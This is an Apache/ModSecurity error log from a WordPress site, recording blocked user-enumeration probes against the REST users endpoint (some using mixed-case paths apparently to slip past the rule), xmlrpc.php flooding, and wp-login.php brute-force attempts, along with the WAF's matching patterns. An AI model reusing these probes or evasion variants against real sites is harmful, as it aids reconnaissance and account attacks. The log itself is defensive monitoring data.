[Thu Dec 18 06:50:21.575775 2025] [autoindex:error] [pid 23557:tid 23606] [client 193.19.109.209:63771] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Dec 18 06:50:21.939357 2025] [autoindex:error] [pid 23557:tid 23603] [client 193.19.109.209:63771] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2023/11/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Dec 18 06:50:22.382090 2025] [autoindex:error] [pid 23557:tid 23600] [client 193.19.109.209:63771] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sodium_compat/lib/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Dec 18 06:50:22.829885 2025] [autoindex:error] [pid 23557:tid 23604] [client 193.19.109.209:63771] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/file/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Dec 18 06:50:23.309133 2025] [autoindex:error] [pid 23557:tid 23612] [client 193.19.109.209:63771] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Dec 18 06:50:23.774469 2025] [autoindex:error] [pid 23557:tid 23611] [client 193.19.109.209:63771] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Dec 18 06:50:24.611284 2025] [autoindex:error] [pid 23557:tid 23612] [client 193.19.109.209:63771] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Dec 18 12:24:02.080676 2025] [:error] [pid 24542:tid 24558] [client 43.135.145.73:41198] [client 43.135.145.73] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aUOB4ktQz4H2oS3NrDZyqwAAAU4"]
[Thu Dec 18 16:04:42.905347 2025] [:error] [pid 24433:tid 24458] [client 34.150.190.95:50683] [client 34.150.190.95] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.150.190.95, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUO1mp4pN9ycmipm8Tif9gAAARY"]
[Thu Dec 18 16:04:47.665218 2025] [:error] [pid 24433:tid 24447] [client 34.150.190.95:50683] [client 34.150.190.95] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aUO1n54pN9ycmipm8Tif_AAAAQs"]
[Thu Dec 18 16:04:49.412897 2025] [:error] [pid 24433:tid 24446] [client 34.150.190.95:50683] [client 34.150.190.95] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.150.190.95, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUO1oZ4pN9ycmipm8Tif_wAAAQo"]
[Thu Dec 18 16:04:51.460544 2025] [:error] [pid 24958:tid 24961] [client 34.150.190.95:61013] [client 34.150.190.95] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.150.190.95, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUO1o8kDOrUkd0wNm2GXcgAAAYA"]
[Thu Dec 18 16:04:53.765072 2025] [:error] [pid 24433:tid 24459] [client 34.150.190.95:57943] [client 34.150.190.95] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.150.190.95, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUO1pZ4pN9ycmipm8TigAgAAARc"]
[Thu Dec 18 16:04:55.838880 2025] [:error] [pid 24542:tid 24547] [client 34.150.190.95:59998] [client 34.150.190.95] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.150.190.95, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUO1p0tQz4H2oS3NrDaspgAAAUM"]
[Thu Dec 18 16:04:57.844436 2025] [:error] [pid 24542:tid 24554] [client 34.150.190.95:63605] [client 34.150.190.95] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.150.190.95, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUO1qUtQz4H2oS3NrDasqgAAAUo"]
[Thu Dec 18 16:04:57.844687 2025] [:error] [pid 24542:tid 24554] [client 34.150.190.95:63605] [client 34.150.190.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.150.190.95, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUO1qUtQz4H2oS3NrDasqgAAAUo"]
[Thu Dec 18 16:43:44.196197 2025] [:error] [pid 23558:tid 23616] [client 57.130.20.252:44840] [client 57.130.20.252] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 57.130.20.252, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUO-wOHam9NbgPQa9ubS8wAAAME"]
[Thu Dec 18 16:43:46.066108 2025] [:error] [pid 23558:tid 23639] [client 57.130.20.252:44840] [client 57.130.20.252] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 57.130.20.252, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUO-wuHam9NbgPQa9ubS-QAAANg"], referer: https://gigfragments.org/wp-login.php
[Thu Dec 18 16:44:49.929643 2025] [:error] [pid 23558:tid 23622] [client 188.166.178.247:39248] [client 188.166.178.247] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.166.178.247, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUO_AeHam9NbgPQa9ubTLwAAAMc"]
[Thu Dec 18 16:44:51.790402 2025] [:error] [pid 23558:tid 23637] [client 188.166.178.247:39248] [client 188.166.178.247] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.166.178.247, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUO_A-Ham9NbgPQa9ubTNAAAANY"], referer: https://gigfragments.org/wp-login.php
[Thu Dec 18 16:55:13.725688 2025] [:error] [pid 23645:tid 23657] [client 208.109.34.85:33632] [client 208.109.34.85] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 208.109.34.85, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUPBcTf_Rx0Y0ao_QJgm7AAAAIo"]
[Thu Dec 18 16:55:15.630224 2025] [:error] [pid 23645:tid 23660] [client 208.109.34.85:33632] [client 208.109.34.85] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 208.109.34.85, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUPBczf_Rx0Y0ao_QJgm8QAAAI0"], referer: https://gigfragments.org/wp-login.php
[Thu Dec 18 16:58:53.850358 2025] [:error] [pid 12239:tid 12247] [client 66.175.44.22:35918] [client 66.175.44.22] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.175.44.22, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUPCTdNnXxfGIuWO6anSIAAAAoM"]
[Thu Dec 18 16:58:55.586495 2025] [:error] [pid 12239:tid 12261] [client 66.175.44.22:35918] [client 66.175.44.22] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.175.44.22, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUPCT9NnXxfGIuWO6anSIQAAApE"], referer: https://gigfragments.org/wp-login.php
[Thu Dec 18 17:07:39.401950 2025] [:error] [pid 24542:tid 24555] [client 103.159.85.179:41898] [client 103.159.85.179] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.159.85.179, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUPEW0tQz4H2oS3NrDa_PgAAAUs"]
[Thu Dec 18 17:07:42.401641 2025] [:error] [pid 24542:tid 24557] [client 103.159.85.179:41898] [client 103.159.85.179] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.159.85.179, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUPEXktQz4H2oS3NrDa_PwAAAU0"], referer: https://gigfragments.org/wp-login.php
[Thu Dec 18 17:12:04.198751 2025] [:error] [pid 24958:tid 24973] [client 103.231.202.90:46642] [client 103.231.202.90] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.231.202.90, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUPFZMkDOrUkd0wNm2GiTwAAAYw"]
[Thu Dec 18 17:12:06.246158 2025] [:error] [pid 24958:tid 24977] [client 103.231.202.90:46642] [client 103.231.202.90] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.231.202.90, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUPFZskDOrUkd0wNm2GiUgAAAZA"], referer: https://gigfragments.org/wp-login.php
[Thu Dec 18 17:12:38.999158 2025] [:error] [pid 12035:tid 12056] [client 136.113.27.164:52732] [client 136.113.27.164] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.113.27.164, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUPFhrcVHrNSHjCo-0ptSwAAAg0"]
[Thu Dec 18 17:16:15.064642 2025] [:error] [pid 12035:tid 12045] [client 3.109.246.212:57942] [client 3.109.246.212] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.109.246.212, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUPGX7cVHrNSHjCo-0pt7QAAAgM"]
[Thu Dec 18 17:16:16.936325 2025] [:error] [pid 12035:tid 12061] [client 3.109.246.212:57942] [client 3.109.246.212] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.109.246.212, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUPGYLcVHrNSHjCo-0pt8QAAAhI"], referer: https://gigfragments.org/wp-login.php
[Thu Dec 18 17:20:21.751531 2025] [:error] [pid 12239:tid 12260] [client 154.0.162.93:47230] [client 154.0.162.93] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 154.0.162.93, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUPHVdNnXxfGIuWO6anXYwAAApA"]
[Thu Dec 18 17:20:23.930429 2025] [:error] [pid 12239:tid 12244] [client 154.0.162.93:47230] [client 154.0.162.93] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 154.0.162.93, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUPHV9NnXxfGIuWO6anXaQAAAoA"], referer: https://gigfragments.org/wp-login.php
[Thu Dec 18 17:24:42.249044 2025] [:error] [pid 23556:tid 23566] [client 46.224.43.216:38242] [client 46.224.43.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.224.43.216, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUPIWhnmLlk3u5yt9kG4NQAAAAY"]
[Thu Dec 18 17:24:45.094391 2025] [:error] [pid 12239:tid 12265] [client 46.224.43.216:38256] [client 46.224.43.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.224.43.216, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUPIXdNnXxfGIuWO6anYpAAAApU"], referer: https://gigfragments.org/wp-login.php
[Thu Dec 18 17:29:03.668089 2025] [:error] [pid 24542:tid 24550] [client 41.72.145.26:35778] [client 41.72.145.26] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 41.72.145.26, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUPJX0tQz4H2oS3NrDbGkwAAAUY"]
[Thu Dec 18 17:29:05.906941 2025] [:error] [pid 24542:tid 24560] [client 41.72.145.26:35778] [client 41.72.145.26] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 41.72.145.26, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUPJYUtQz4H2oS3NrDbGnAAAAVA"], referer: https://gigfragments.org/wp-login.php
[Thu Dec 18 17:37:55.855505 2025] [:error] [pid 12383:tid 12407] [client 179.108.84.136:44844] [client 179.108.84.136] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 179.108.84.136, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUPLc_dgllo9h1cyxGaeeQAAAtU"]
[Thu Dec 18 17:37:59.841559 2025] [:error] [pid 12383:tid 12388] [client 179.108.84.136:44844] [client 179.108.84.136] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 179.108.84.136, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUPLd_dgllo9h1cyxGaeegAAAsI"], referer: https://gigfragments.org/wp-login.php
[Thu Dec 18 17:51:04.056824 2025] [:error] [pid 25357:tid 25368] [client 103.3.247.5:55020] [client 103.3.247.5] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.3.247.5, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUPOiIaT7bsEXnJVfJc5pgAAAck"]
[Thu Dec 18 17:51:06.061767 2025] [:error] [pid 25357:tid 25367] [client 103.3.247.5:55020] [client 103.3.247.5] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.3.247.5, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUPOioaT7bsEXnJVfJc5pwAAAcg"], referer: https://gigfragments.org/wp-login.php
[Thu Dec 18 18:00:01.288454 2025] [:error] [pid 23645:tid 23652] [client 142.93.209.196:35694] [client 142.93.209.196] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 142.93.209.196, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUPQoTf_Rx0Y0ao_QJg0gAAAAIU"]
[Thu Dec 18 18:00:03.491458 2025] [:error] [pid 23645:tid 23668] [client 142.93.209.196:35694] [client 142.93.209.196] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 142.93.209.196, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUPQozf_Rx0Y0ao_QJg0hAAAAJU"], referer: https://gigfragments.org/wp-login.php
[Thu Dec 18 18:30:15.464394 2025] [:error] [pid 24958:tid 24980] [client 46.183.27.204:36094] [client 46.183.27.204] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.183.27.204, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUPXt8kDOrUkd0wNm2Gv7gAAAZM"]
[Thu Dec 18 18:30:18.562558 2025] [:error] [pid 24958:tid 24971] [client 46.183.27.204:36094] [client 46.183.27.204] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.183.27.204, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUPXuskDOrUkd0wNm2Gv8AAAAYo"], referer: https://gigfragments.org/wp-login.php
[Thu Dec 18 18:34:45.906379 2025] [:error] [pid 23645:tid 23661] [client 139.99.9.144:39754] [client 139.99.9.144] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aUPYxTf_Rx0Y0ao_QJg9ZwAAAI4"]
[Thu Dec 18 18:35:02.166428 2025] [:error] [pid 24542:tid 24551] [client 185.181.252.23:40580] [client 185.181.252.23] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/index.php/wp-json/wp/v2/users"] [unique_id "aUPY1ktQz4H2oS3NrDbf0AAAAUc"]
[Thu Dec 18 18:35:07.040593 2025] [:error] [pid 23645:tid 23648] [client 216.55.170.41:41386] [client 216.55.170.41] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.55.170.41, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUPY2zf_Rx0Y0ao_QJg9fQAAAIE"]
[Thu Dec 18 18:35:10.592538 2025] [:error] [pid 24542:tid 24555] [client 216.55.170.41:42234] [client 216.55.170.41] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.55.170.41, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUPY3ktQz4H2oS3NrDbf4QAAAUs"], referer: https://gigfragments.org/wp-login.php
[Thu Dec 18 18:35:15.284561 2025] [:error] [pid 23556:tid 23565] [client 188.166.188.129:53102] [client 188.166.188.129] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/index.php/wp-json/wp/v2/users"] [unique_id "aUPY4xnmLlk3u5yt9kHHfAAAAAU"]
[Thu Dec 18 18:36:06.815630 2025] [:error] [pid 24542:tid 24550] [client 74.208.213.98:59174] [client 74.208.213.98] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/Wp/v2/users"] [unique_id "aUPZFktQz4H2oS3NrDbgQAAAAUY"]
[Thu Dec 18 18:36:47.541126 2025] [:error] [pid 12239:tid 12260] [client 45.227.162.235:32954] [client 45.227.162.235] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/Wp/v2/users"] [unique_id "aUPZP9NnXxfGIuWO6anrBwAAApA"]
[Thu Dec 18 18:37:44.309783 2025] [:error] [pid 23556:tid 23564] [client 103.158.108.3:56656] [client 103.158.108.3] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/usErs"] [unique_id "aUPZeBnmLlk3u5yt9kHISgAAAAQ"]
[Thu Dec 18 18:37:57.451598 2025] [:error] [pid 23558:tid 23635] [client 45.183.247.183:47236] [client 45.183.247.183] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/Wp-JsOn/Wp/V2/UsErS"] [unique_id "aUPZheHam9NbgPQa9ub2AQAAANQ"]
